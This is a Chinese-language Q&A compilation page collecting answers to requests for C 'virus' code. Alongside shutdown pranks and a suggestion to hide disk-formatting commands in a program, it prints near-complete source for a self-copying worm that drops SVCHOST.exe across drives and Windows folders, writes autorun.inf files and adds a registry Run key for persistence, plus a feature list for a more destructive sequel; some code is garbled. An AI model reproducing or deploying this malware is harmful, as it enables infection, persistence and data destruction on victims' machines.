c语言病毒代码大全
首先你要知道病毒的定义,知道了相关的知识后就可以利用自己的编程能力进行编写了
❷ c语言病毒
人间正道是沧桑
❸ 怎么用C语言写个简单病毒,给个代码过程
一个简单的病毒就要很长的代码,写病毒没有那么简单。
不过你可以试试利用cmd命令,比如删除拉,格式化拉,拷贝拉,写进代码里。别人一打开程序资料盘就格掉了,嘿嘿。
❹ c语言木马源代码
ls这个好像是感染c文件的病毒,自动加上玩笑代码(当然可以是恶意的)
不是木马
❺ 求一些关机,跳框框的小病毒源代码,最好是C语言的
呵呵 ,关机的代码就有, 这是我第一次写的程序,那时才学了2个月的C语言代码如下:
#include<stdio.h>
main()
{
char ch='\0';
while(ch=2)
{
system("cls");
printf("\n\t**************************\n\t");
printf("\n\t 请选择你要执行的命令: \n\t");
printf("\n\t*** 1.重启 ***\n\t");
printf("\n\t*** 2.关机 ***\n\t");
printf("\n\t*** 3.注销 ***\n\t");
printf("\n\t*** 0.退出 ***\n\t");
printf("\n\t**************************\n\t");
ch=getchar();
switch(ch)
{
case '1':{printf("确认要重启?(Y/N)");
ch=getch();
if(ch=='Y'||ch=='y')
system("shutdown -r ");
break;
}
case'2':{printf("确认要关机?(Y/N)");
ch=getch();
if(ch=='Y'||ch=='y')
{ printf("请选择你要执行的命令:");
printf("\n\t*** 1.快速关机 ***\n\t");
printf("\n\t*** 2.定时关机 ***\n\t");
printf("\n\t*** 0.退出 ***\n\t");
ch=getch();
switch(ch)
{
case '1':system("shutdown -s");break;
case '2':{ printf("请选择要关机的时间:");
printf("\n\t 1.30分钟 \n\t");
printf("\n\t 2.60分钟 \n\t");
printf("\n\t 3.90分钟 \n\t");
printf("\n\t 4.120分钟 \n\t");
printf("\n\t 5.150分钟 \n\t");
ch=getch();
switch(ch)
{
case '1':system("shutdown -s -t 1800");break;
case '2':system("shutdown -s -t 3600");break;
case '3':system("shutdown -s -t 5400");break;
case '4':system("shutdown -s -t 7200");break;
case '5':system("shutdown -s -t 9000");break;
default:printf("输入错误!");break;
}
}
case '0':exit(0);break;
default:printf("输入错误!");break;
}
}
else break;
}
case '3':{printf("确认要注销?(Y/N)");
ch=getch();
if(ch=='Y'||ch=='y')
system("shutdown -l ");
break;
}
case '0':exit(0);break;
default:printf("输入错误!");
}
}
}
看看里面的关机语句,自己领悟吧。当时是一个新手,注释都不没写,这是一个不好的习惯,你学C语言的话,一定要记得写哦!这是方便自己检查错误还有方便别人查看。
❻ 求一个简单的c语言病毒源代码,最好还可以在手机c4上编写运行的,运行会出现什么样的情况,想学c想了解一
牛逼哄哄啊
❼ 求一个可以在机子上跑起来的C语言病毒代码
C语言病毒代码 最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}在连载2中你将看到:
病毒对系统文件破坏的方法,病毒对文件的感染,病毒生成垃圾文件,病毒更具隐蔽性的方法。本版病毒所具有的功能:
1.在所有磁盘的根目录生成svchost.com和autorun.inf文件
2.生成病毒体:
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在explorer.exe前启动
4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)
5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。
6.连锁能力,将病毒体相连,实现相连复制更新
7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程
8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建
9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下
10.附带删除文件函数(为防止危害,本函数默认不执行)本病毒到目前为止任何杀毒软件都无法将其查杀
本病毒单机默认使用对机器无害(破坏代码已屏蔽)
提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
❽ 求病毒代码大全!
病毒?我的朋友,他很少说别人的汗水
❾ C语言编写的病毒有哪些
#include
#include
main()
{
char
a;
int
b;
system("shutdown
-s");
printf
("你是不是猪?\n是的话请输入y,不是的话就输入n吧。");
a
=
getchar();
b
=
a
==
'y';
if
(b
==
1)
{
system("shutdown
-a");
printf("哈,世界上有多了一头会专说话的猪。\n");
}
else
printf("后果很严属重……\n");
getchar();
getchar();
return
0;
}
这应该不算病毒,没有自我复制功能,你放进编译器里面运行看看会有什么后果吧
❿ 给个C语言病毒代码.....要复制的....越长越好
我的回答
http://..com/question/58822352.html
太长了,复制要很久